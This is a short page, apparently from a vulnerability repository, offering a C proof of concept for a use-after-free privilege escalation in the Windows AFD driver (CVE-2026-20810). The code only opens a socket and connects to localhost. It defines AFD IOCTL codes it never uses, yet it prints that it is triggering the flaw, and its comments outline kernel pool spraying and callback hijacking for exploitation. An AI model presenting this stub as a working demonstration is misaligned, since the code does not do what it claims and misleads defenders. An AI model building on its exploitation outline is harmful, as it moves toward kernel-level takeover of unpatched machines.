CVE-2026-20810 Windows AFD驱动内存释放错误本地提权漏洞

// CVE-2026-20810 PoC - Windows AFD Use-After-Free LPE // This is a conceptual PoC for educational purposes only #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") // IOCTL codes for AFD driver #define AFDEcho 0x12003 #define AFDAddress 0x12007 int main() { printf("[*] CVE-2026-20810 Windows AFD UAF PoC\n"); printf("[*] Target: Windows Ancillary Function Driver\n\n"); // Initialize Winsock WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); // Create socket SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == INVALID_SOCKET) { printf("[-] Failed to create socket\n"); return 1; } printf("[+] Socket created successfully\n"); // Step 1: Trigger vulnerable code path in AFD driver // The vulnerability occurs when AFD.sys incorrectly frees non-heap memory // during certain IOCTL operations struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(445); addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // Step 2: Connect to trigger AFD internal operations connect(sock, (struct sockaddr*)&addr, sizeof(addr)); // Step 3: Perform operations that trigger the use-after-free condition // This requires specific driver interaction printf("[*] Triggering AFD driver vulnerability...\n"); // Step 4: Use-after-free exploitation would require: // - Kernel pool spraying to reclaim freed memory // - Overwriting with malicious data structure // - Triggering callback to achieve code execution printf("[*] Note: Actual exploitation requires kernel pool manipulation\n"); printf("[*] and specific Windows version targeting\n"); closesocket(sock); WSACleanup(); printf("\n[!] This PoC demonstrates the vulnerability concept only.\n"); printf("[!] Apply Microsoft security updates to remediate.\n"); return 0; }